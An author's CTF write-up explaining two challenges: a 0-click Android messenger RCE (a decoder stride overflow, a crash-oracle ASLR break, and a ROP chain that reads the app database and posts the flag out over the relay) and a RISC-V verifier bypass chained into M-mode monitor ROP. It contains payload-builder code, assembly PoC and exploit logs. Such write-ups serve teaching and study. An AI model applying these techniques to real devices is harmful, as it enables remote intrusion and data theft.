This year I’ve worked on two challenges for the SASCTF 2026 Quals, and I’m proud to present Sasenger and Gatekeeper v2.0.

Sasenger is P0-style remote Android exploitation: a 0-click bug in a messenger’s native image decoder, reached over the network and exploited without a single info leak.

Gatekeeper v2.0 is the sequel to Gatekeeper, the A/D challenge I built for the SASCTF 2025 Finals. The idea stays the same, but this time getting past the verifier only gets you halfway, you’ve also got to pwn the M-mode monitor sitting behind it.

Table of Contents:


:satellite: Sasenger: 0-click Android RCE

Category: pwn
Description:
I guess there’s not a lot to talk about here. Just… get your flag somehow?

N.B. The Android VM running the app is given no outbound network access, the only channel to or from it is the in-app messaging service.

Sasenger is a small native-backed Android messenger. You’re given a relay endpoint and the target’s username (ghost_...), whose device waits for your messages and decodes them on arrival. The flag was delivered to that user as a chat message that you’d need to read from /data/data/com.sasctf.sasenger/databases/sasenger.db, so you need code execution as the app’s uid to get at it.

The device runs a stock aosp_cf_x86_64 Cuttlefish image (Android 16), but a custom kernel. For the first stage I wanted to replicate the crash-oracle trick from Project Zero’s 0-click research, in particular Mateusz Jurczyk’s MMS Exploit Part 5: Defeating Android ASLR, Getting RCE. On a stock kernel that would take thousands of probes and multiple hours, so mmap ASLR entropy is lowered to 24 bits, to make it solvable in ~30 minutes. SELinux and seccomp are on, no MTE or CFI.

:bug: The Vulnerability: Stride vs. Width

A Sasenger message is an SMC1 container: a short header, then typed parts (text, image, sticker, reply). The image part is the interesting one, because the native core decodes images the moment a message is received.

Decoding runs in two passes. First, every image is decoded into a per-message arena as a Bitmap-like surface, then the surfaces get composited one by one. Each surface is a 40-byte header, laid out contiguously in the arena:

offset  field        meaning
 0x00   width_       visible width  (px)
 0x04   height_      visible height (rows)
 0x08   row_bytes_   source stride  (bytes per row in the input)
 0x0c   storage_     ARENA (0) | EXTERNAL (1)
 0x10   pixels_      pointer to pixel data
 0x18   release_     teardown callback (EXTERNAL only)
 0x20   context_     callback argument

The decoder sizes the pixel buffer as width_ * height_ * 4, then fills it row by row at the source stride row_bytes_, and nothing anywhere checks that row_bytes_ <= width_ * 4:

for (const Plan& pl : plans) {
    const std::uint32_t dstPitch = pl.rowBytes;
    // Lay each source row into the surface at the source row stride.
    for (std::uint32_t y = 0; y < pl.height; ++y) {
        std::memcpy(pl.dst + static_cast<std::size_t>(y) * dstPitch,
                    pl.src + static_cast<std::size_t>(y) * pl.rowBytes,
                    pl.visibleRow);
    }
}

So a stride bigger than the visible row overflows the pixel buffer into the next image’s header, which sits immediately after it by construction:

// Header-before-buffer means one surface's pixels are immediately followed by
// the next surface's header.
void* header = arena.allocate(sizeof(Bitmap), alignof(Bitmap));
auto* dst = static_cast<std::uint8_t*>(arena.allocate(surfaceBytes, kBytesPerPixel));

The arena is a bump allocator carved out of a single allocation, which keeps the whole thing off Scudo. That was on purpose, Scudo would’ve unneccessarily complicated the challenge. It also means the layout is fully deterministic: the arena is per-message, so nothing but your own images ever ends up in it.

So a two-image message is all we need: image[0] overruns its 80-byte row buffer, its second source row lands on image[1]’s header, and the decoder then acts on whatever we put there:

def _overflow_payload(forged40: bytes) -> bytes:
    d0 = bytearray(b"\xaa" * 120)
    d0[80:120] = forged40
    img0 = _image_part(10, 2, 80, bytes(d0))
    img1 = _image_part(1, 1, 4, b"\x00" * 4)
    return _smc1([img0, img1])

:jigsaw: Two Primitives From One Corrupted Header

storage_ allows us to select the primitive we want.

A 1-bit range-read oracle (storage_ = ARENA). Arena storage runs no teardown callback, the surface only ever gets read, during the render pass. That loop walks height_ rows of width_*4 visible bytes from pixels_, each row row_bytes_ apart. So if we point pixels_ at an arbitrary address, set width_ = 1 (one page per row) and row_bytes_ to the page size, one message asks whether these height_ pages, step apart, are all mapped. If they are, the image renders and we get a receipt back. If any of them isn’t, the target segfaults and we get nothing. That’s the 1-bit oracle.

def build_probe_payload(addr: int, npages: int, step: int = PAGE) -> bytes:
    return _overflow_payload(forge_bitmap(1, npages, step, STORAGE_ARENA, addr))

A controlled call (storage_ = EXTERNAL). External storage makes teardown run release_(pixels_, context_), so the three forged fields become rip, rdi, rsi:

def build_call_payload(release: int, arg0: int, arg1: int) -> bytes:
    return _overflow_payload(forge_bitmap(1, 1, 4, STORAGE_EXTERNAL, arg0, release, arg1))

(image[1] gets rendered before teardown, so pixels_/rdi has to point at 4 readable bytes, which holds once we’ve sprayed a known address in Stage 2.)

Everything runs over the relay: POST /v1/send delivers the message, and if the target survives decoding it POSTs a /v1/receipt back, which we long-poll for.

The poll loop is a START_STICKY foreground service and the device runs with AMS crash-restart throttling disabled (activity_manager_constants), so after every failed probe the app relaunches immediately and picks up from its committed cursor, under two seconds per crash.

There’s one problem, though: a missing receipt might just mean the target hasn’t finished restarting yet. So every probe is gated behind a liveness canary first, a read-probe of 0x02000000, a 192 MiB region mapped into every process from zygote, which has to render before the real probe.

Here’s the whole loop against a local target, victim’s chat on the left, our probe log on the right:

:brain: Stage 1: Breaking ASLR With One Bit

With the oracle in hand, all we can really do is look for something readable and then fingerprint it. Every mapping we care about has a recognisable shape: how long its contiguous run is, and what permissions the pages around it carry. Measuring those is enough to tell the regions apart pretty reliably. Since the app is forked from zygote, its bases are fixed for the whole boot, so probes spread across hundreds of messages still describe the same address space. And with the entropy lowered, the range to sweep is only 64 GiB.

1A: find the LinearAlloc, our anchor for finding libart, and easy to identify since it’s the single largest contiguous readable run (>=1 GiB):

  1. Coarse-sweep the 64 GiB window with single-page probes 512 MiB apart. The stride is smaller than the region, so a >=512 MiB run can’t be skipped.
  2. On a hit, measure both edges (gallop out, then bisect to 2 MiB precision), and keep the largest, requiring >=768 MiB to reject the main space.
  3. Use the top edge as the result. The LinearAlloc grows lazily downward from a top that’s fixed per boot, so under constant crash-restart the base keeps moving while the top doesn’t.

This all allows to find the top of LinearAlloc in ~90 probes.

1B: find libart.so, the gadget source. Its r-x segment is a boot-invariant ~9.72 MiB (2489 pages) run, and it always lands between 1.6 and 3.4 GiB above the LinearAlloc top. We scan that band at 8 MiB stride and take the hit whose size matches, subtract the r-x segment’s known in-ELF offset to get a candidate base, and confirm the 359 pages of the header above it are readable.

N.B. libc could’ve worked too, but it lacks convenient gadgets and is much smaller (~1 MiB r-x, sitting in a cluster of holes), so it’s harder to fingerprint.

Stage 1 ends with two addresses: the LinearAlloc region and libart_base.

:memo: Stage 2: Placement and an Arbitrary Write

Placement. The dalvik main space always lands at 0x02000000, but only its committed part is writable. spray_commit() sends a couple hundred ordinary image messages, which is enough to reliably commit a writable region at a known address, W = 0x02200000, for us to lay the chain into.

Arbitrary write. libart has a mov qword ptr [rdi], rsi ; ret gadget, which we can use to write any qword to any address by setting pixels_ = addr and context_ = value:

def wq(self, addr, val):
    payload = build_call_payload(self.g(WRITE), addr, val & U64_MASK)
    ...  # send until we get a receipt

One qword at a time, we lay out everything Stage 3 needs around W: a landing ret, the socket address, the DB path, the HTTP request head and tail, and the ROP chain itself.

:fire: Stage 3: Pivot, ROP, and Exfil

The last controlled call goes to xchg esi, esp ; ret 0x48ff, with context_ = W. esp becomes W (the high half zeroes out, which is fine since W < 4 GiB), the ret pops the landing ret we left at W, and its 0x48ff immediate skews esp up into the chain at W + 0x4907.

seccomp blocks execve, so instead of a shell the chain issues raw syscalls through libart’s syscall@plt, a conveniently chainable syscall(nr, a1, a2, a3) wrapper. It reads the flag out of the DB and posts it back over the relay:

open("/data/.../sasenger.db", O_RDONLY)    -> fd
read(fd, BUF, n)                           -> DB bytes land at a fixed address
socket(AF_INET, SOCK_STREAM, 0)            -> sock
connect(sock, relay_addr, 16)
write(sock, HTTP POST head)                -> {"to": ..., "payload_b64": "
write(sock, flag_bytes, flag_len)
write(sock, HTTP POST tail)                -> close the JSON
exit(0)

Two of those arguments need more than a pop:

  1. File descriptors are self-patched. open and socket return their fd in rax, while every pop in the chain loads a constant, so after each of those calls a mov [rdi], rax ; ret writes rax into the chain slot that a later pop rsi reads.
  2. The flag length is computed at runtime. The flag starts at a fixed offset in the DB and ends at the first }, so the chain calls strchr@plt to find it, then add rax, rcx ; ret turns that pointer into a length for the final write.

The POST carries collector’s bearer token and is addressed to ctf_player, two throwaway accounts the exploit registers up front. Content-Length is fixed and the tail over-pads with spaces, so the body is always long enough for the relay to read a complete JSON object. The flag then shows up in ctf_player’s inbox, which we poll from the host.

To sum it all up:

stage primitive result
bug SMC1 stride overflow, forged Bitmap header controlled read-loop / controlled call
1 1-bit range oracle over the relay LinearAlloc top + libart base
2 controlled call as mov [rdi],rsi;ret arbitrary write, ROP chain at fixed W
3 stack pivot + syscall@plt ROP read DB, POST flag back over the relay

And here’s a full run against a local instance:

[*] relay=http://127.0.0.1:8080  collector -> @ctf_player; target=@ghost_39e049a0
[*] Stage 1: ASLR break (LinearAlloc -> libart)
sweep 100%|█████████████████████████████████| 128G/128G [11:33<00:00] , @0x7ff800000000 probes=192 crashes=192
[+] LinearAlloc top = 0x7ff840000000  size=1.00 GiB  spray=0x7ff83c000000
libart 100%|██████████████████████████████| 1.80G/1.80G [07:51<00:00] , @0x7ff8d7fbd000 probes=543 crashes=303
[+] libart base = 0x7ff8d7800000  (r-x @ 0x7ff8d7a00000)
[*] attempt 1: spray-commit + place + fire
[*] Stage 2a: spray-commit 192 images (back W=0x2200000)
[+] sprayed 192/192
[*] Stage 2b: lay ROP chain + data at 0x2200000
[+] placed 101-gadget chain
[*] Stage 3: fire pivot (rsp <- W) -> chain runs
[+] FLAG: SAS{b3etter_n0t_le4ve_m3_0n_re4d}
[+] pwned in 1206s

Full exploit: exploit_full.py.


:old_key: Gatekeeper v2.0: Verifier Bypass Into an M-mode Monitor

Category: misc
Description:
After the last “incident” with our original verifier…

We’ve decided to fully rework it, and we’re now proudly presenting a faster, safer, and overall better Gatekeeper v2.0. Not even a mouse will slop. Ehm, slip*

The service verifies a submitted RV64 program with Triton-based symbolic execution, and if it passes, runs it bare-metal on a custom QEMU machine. The flag is a file, and opening it takes a unique private handle, generated per run and stored in M-only memory.

  1. Stage 1: get past the verifier. Run unverified instructions, in particular a raw ecall, that the symbolic walk never sees.
  2. Stage 2: pwn the M-mode monitor. Escalate U to M to reach the handle table and have the monitor serve the flag.

A verifier bypass alone leaves you with PMP-confined U-mode code that can’t touch the handle table. Triggering the monitor bug takes a raw ecall with attacker-chosen registers, which the verifier rejects outright. So you need both.

:gear: The Setup

The custom machine adds a file device, a UART, and PMP-enforced regions:

Region Address U-mode (PMP)
user code 0x00300000 r-x
user data 0x00310000 rw-
user stack 0x00320000 to 0x00340000 rw-
trusted-lib (U wrappers) 0x80000000 to 0x80010000 r-x
M-mode monitor 0x80010000 to 0x80050000 M only
file device (MMIO) 0x13370000 M only
handle table 0x13400000 M only
UART 0x10000000 M only

The verifier walks the program one instruction at a time on Triton. Before each step it checks the opcode against a whitelist (ecall isn’t on it) and makes sure the fetch is inside executable memory, and during the step it rejects reads and writes outside a defined segment, reads of undefined memory, writes to symbolic addresses, and trusted-lib calls to entry points it doesn’t recognize. Trusted-library calls are never executed, they’re modeled by Python shims keyed on the entry address.

PMP and the M-mode monitor. The monitor sits in M-mode, installs the U-mode rules in that table at boot, and drops the guest into U-mode behind them. The ABI is four syscalls (a7 = number, then ecall): PUTC=0, GETC=1, FILE_CREATE=2, FILE_READ=3. Programs are supposed to call the U-mode trusted-lib wrappers at fixed addresses, which issue the ecalls themselves, and the verifier shims each one by entry address, so under the verifier a normal program never executes an ecall at all.

The flag is a .gk file named after two random per-run handles: <priv><pub>.gk. At boot the device writes {public, private} into entry0 of the handle table, and read_file_plain(public) makes the monitor look up the matching private handle and hand it to the device, which rebuilds the filename and returns the bytes. You never see either handle from U-mode, so Stage 2’s job is to make the monitor use that private handle for us.

The Indirect-Jump Resolver

The walk follows exactly one concrete path and never forks, so the verifier has to know where every instruction goes before it steps. Direct branches encode their target, but jalr takes it from a register, and a symbolic register leaves no single address to continue from.

Rejecting every jalr with a symbolic base would be too strict though, because a register can be symbolic and still have exactly one feasible value on the current path. So the verifier tries to prove that: ControlFlow._pin_indirect takes the register’s current concrete value and asks the solver, under the accumulated path constraints, whether it could be strictly less, or strictly greater:

concrete = ctx.getConcreteRegisterValue(base)
below = under_pc(ctx, actx.bvult(ast, mkbv(actx, concrete, width)))
above = under_pc(ctx, actx.bvugt(ast, mkbv(actx, concrete, width)))
if sat(ctx, below) or sat(ctx, above):
    logger.debug("indirect target has multiple models; leaving symbolic")
    return None

If both are UNSAT the value is proven unique and the resolver hands back a pinned target. Otherwise PC stays symbolic and _precheck kills the program on the next step with “control-flow target is symbolic”. Symbolic load addresses go through a separate mechanism, the pointer oracle, which bounds the address to a window around the concrete one, enumerates every slot the path constraints still allow, requires each of them to be defined and readable, and rebuilds the loaded value as a selection over them.

The pin is applied after Triton executes the instruction:

self._pinned_target = self._flow.resolve(self._cur)
outcome = self._ctx.processing(self._cur)
...
self._commit_pinned_target()

So whatever PC the jalr semantics produced gets overwritten by the resolver’s value, and since that value is a plain integer, PC comes out concrete. That’s fine as long as the resolver computes the same address the hardware does.

:dart: Stage 1: The jalr Target the Verifier Never Masks

RISC-V jalr computes its destination as (rs1 + imm) & ~1, so bit 0 always gets cleared. The resolver builds the target without that mask:

target = (concrete + imm) & 0xFFFFFFFFFFFFFFFF   # no  & ~1
...
ctx.setConcreteRegisterValue(base, concrete)
return target

So if the proven target V happens to be odd, the verifier keeps decoding at V while the CPU jumps to V & ~1, and starting one byte apart, the same bytes decode into different instructions. The pin leaves PC concrete, so the symbolic-PC check never fires.

Forcing a Provably-Unique Odd Target

The pin only engages on a symbolic base (with a concrete one there’s nothing to prove, Triton’s own PC stands), so we need a value that’s symbolic to Triton, provably single-valued, and odd.

read_file_plain’s return code is the cleanest source. Its shim models the rc as symbolic in {0, -1}, and at runtime an unmatched handle returns -1. From there:

    jalr  ra, t0, 0        # t0 = read_file_plain; a0 = rc, symbolic in {0,-1}
    slti  t1, a0, -2       # provably 0  (rc >= -1 for both models)
    slli  t1, t1, 3
    li    t2, 0x310000     # oracle slot base
    add   t2, t2, t1       # provably 0x310000 (still symbolic) -> ONE feasible slot
    ld    a5, 0(t2)        # pointer oracle resolves to mem[0x310000]
    jr    a5

slti t1, rc, -2 is 0 for both rc=0 and rc=-1, so t1 is symbolic but proven 0. That makes 0x310000 + (t1<<3) a single feasible slot, and the pointer oracle resolves the symbolic-address load to mem[0x310000], where we’ve planted the odd address 0x300201. So a5 is proven unique, gets pinned, and goes into PC unmasked.

The Overlap

0x300201 is odd, so the two engines split:

  verifier (decodes at V) CPU (jumps to V & ~1)
address 0x300201 0x300200
bytes 73 00 10 00 -> ebreak 6f 73 00 10 -> jal x6, +0x7100
effect accept, stop decoding jump to 0x307300 (stage 2)

So stage 2 runs unverified, raw ecalls included, and on its own that still gets us nothing: reading 0x13400004, the flag’s public handle, straight from stage 2 PMP-faults at runtime ([monitor] guest fault).

:boom: Stage 2: MPRV Double-Trap Into Monitor-Only ROP

The monitor gets the obvious things right, so those are worth covering first.

To touch guest buffers it sets mstatus.MPRV=1, MPP=U, so its own loads and stores get checked against U-mode PMP. Faults are handled gracefully too: copy_from_user and copy_to_user wrap their guest access in mon_setjmp(g_copy_jb), and on a fault trap_handler resumes at copy_fault_resume(), which mon_longjmps back into the helper to return -1. The unwind is gated on whether MPRV was set when the trap fired, so it only ever triggers for an in-flight copy.

It’s also locked down with Smepmp / mseccfg.MML. The monitor’s .text at [0x80010000, 0x80012000) gets a locked M:r-x rule, user/trusted code is U:r-x, M:none, and everything unmatched (handle table, MMIO, monitor data, the M-stack) is M:rw but never M-executable. So even with M-mode control flow, stage 2 has to be monitor-only ROP.

All of that is sound. The bug is in the trap trampoline, which isn’t reentrant:

trap_vector:
    csrrw   sp, mscratch, sp        # sp = M-stack top, mscratch = guest sp
    addi    sp, sp, -256
    sd      x1,  1*8(sp)            # spill x1, x3..x31 into the 256-byte frame
    ...

The entry invariant, that mscratch holds the M-stack top, is only true for the first trap out of U-mode. While the handler runs, mscratch holds the guest sp instead, that’s how the closing csrrw swaps both back. So a trap fired inside the handler, which is exactly what the MPRV copy fault does, re-enters trap_vector with mscratch = guest sp, the 256-byte GPR frame spills to [guest_sp - 256, guest_sp), and since the nested trap runs with MPP=M, that write lands as M-mode.

So after the stage-1 escape we issue a raw ecall with sp set to whatever we want, pick a syscall whose handler calls copy_from_user with a pointer we control, and point that pointer somewhere unreadable so the copy faults. The recoverable-fault path lets the run survive the nested trap, so the spill is a write-what-where into M-memory with the spilled register values as the payload. (FILE_READ with a .text len_ptr faults on the first read; any non-U pointer does.)

Where to Aim the Spill

The faulting guest pointer lands in x15, so that’s the spill slot whose value we know, and the only question left is where to aim it. The obvious answer is the recovery jmp_buf, g_copy_jb ([0]=ra, [1]=sp), since overwriting its saved ra/sp gets the monitor’s own mon_longjmp to do the pivot. But it sits at 0x80012050, 0x50 above the .text window that ends at 0x80012000, so putting x15 (frame + 0x78) on it means starting the frame at 0x80011fd8, inside the locked, non-writable .text, where the opening stores fault long before the write reaches the jmp_buf. That makes it look unreachable, so my PoC goes for the M-stack instead, aiming the wild sp so that x15 overwrites copy_from_user’s saved return address. On recovery mon_longjmp restores sp to copy_from_user’s frame, its epilogue pops our value into ra, and we’re in monitor-only ROP.

N.B. g_copy_jb is reachable after all, and it’s the easier path: aim a low spill slot instead of x15, and a frame at 0x80012038 (clear of .text) drops gp and tp straight onto the saved ra and sp. Several teams solved it that way.

From Hijack to Flag

Two details make the chain short:

  1. s5 through s11 survive the dispatch path. The fault fires in sys_file_read’s first copy_from_user, and nothing between the ecall and that point touches anything above s4, so the guest’s values flow untouched into the pivot. That’s seven controlled qwords, live in both the registers and the spill frame.
  2. sys_file_read’s own epilogue is a usable first gadget. Call it G58 (ld ra,0x58(sp); ld s0..s6,…; addi sp,0x60; ret), which walks the spill frame in order, so s11’s slot becomes ra and s10’s becomes s0, straight down to s5.

The chain is ra -> G58 -> 0x80010990. That last address is the tail of sys_file_read, right after get_private_handle, entered with s0 = handle_table + 0x54 so that [s0-72] is table[0].private_handle, the flag’s private handle. From there the monitor does exactly what a legitimate read would do: send the private handle to the device, MODE_READ, drain the file device into g_bounce, and copy_to_user the flag into our U-mode buffer. The post-serve epilogue returns into _start (0x80010000), which re-boots cleanly to U-mode (locked-PMP writes are ignored on the second setup_pmp), and a persistent phase flag makes the re-entered guest print the delivered buffer.

It’s all hand-written assembly, because everything here depends on exact byte placement:

.org OVERLAP_OFF
.byte 0x6f, 0x73, 0x00, 0x10, 0x00

.org STAGE2_OFF
stage2:
    li    s5, MODE_READ_BASE
    li    s6, FLAGBUF
    li    s7, FLAGLEN_PTR
    li    s8, WANT_LEN
    li    s9, 0
    li    s10, TABLE_S0
    li    s11, MON_FLAGSERVE
    li    t2, MON_START
    li    a0, 0
    li    a1, 0
    li    a2, MON_G58
    li    a7, SYS_FILE_READ
    li    sp, WILD_SP
    ecall
3:  j     3b

Full PoC: poc_doubletrap.S.

:mag: The Desyncs That Didn’t Ship

Only one of the verifier’s bugs was on purpose, the missing & ~1. The other eight I wrote by accident and caught while building the thing.

The first one is where the shipped bug came from. ControlFlow._base_register picked the jump-target register by taking the first register operand, which for the 2-operand pseudo jalr rs1 that compilers emit for jump tables is rs1, so the proof pins PC to the real target and all is well. But for the explicit 3-operand jalr rd, rs1, imm the first register operand is rd, the link register the CPU never jumps to. So jalr a5, a4, 0 had the verifier prove a single value for a5 and walk from there, while QEMU jumped to a4, and setting a5 to a benign stub and a4 to your handle-table read gets the verifier to accept a program it never disassembled.

Then _pin_indirect turned out to drop the immediate. It proved the base register unique and committed the bare register value, so jalr rd, rs1, 0x40 verified from rs1 while the CPU went to rs1 + 0x40.

The rest came from the trusted-lib shims. mini_printf’s shim never required the format string to be concrete. A buffer filled by read_file_plain is symbolic to the verifier with a concrete value of zero, so reading it as a format string gives an empty format with no conversions to check, while at runtime that buffer holds whatever bytes you put in the file, "%s" included, and the real mini_printf dereferences a vararg the shim never checked.

Then there’s the stack. Trusted routines build a real frame below the caller’s sp at runtime and leave saved registers and scratch there, and the verifier models none of that, so a slot you wrote below sp still reads back clean in the model, while at runtime the trusted call has already clobbered it. Branch on that slot afterwards and the two engines take different paths.

Closely related: read_file_plain’s output buffer was allowed to alias the callee’s own frame. Point fbytes at sp-8 and the file contents land on the stub’s saved return address, and since the shim models the return through the ra register, it never sees the real stub do ld ra, (N-8)(sp); ret, so at runtime that ret jumps straight into attacker-controlled file bytes.

The frame-alias guard that rejects those buffers had a hole of its own. It computed the forbidden window from the concrete sp, which only means something if sp is actually concrete, and a symbolic sp made every stack-frame bound unsound in a nicely TOCTOU-ish way.

This last one is not really a desync but interesting anyway. mini_printf’s shim counted conversions by substring-scanning the format for %x, %s and friends, and %% is a literal percent, so "%%x%s" has exactly one conversion, which the real routine binds to the first vararg. The shim saw the %x inside %%x, bound %s to the second vararg instead and validated the wrong pointer, so the one the real routine walks and prints was never checked at all. The read itself stays confined by PMP, so the most it yields is the trusted-lib text the verifier maps --x.


That’s basically it :wave: All source code and exploits: Team-Drovosec/sasctf-quals-2026. Hope it was an interesting read :)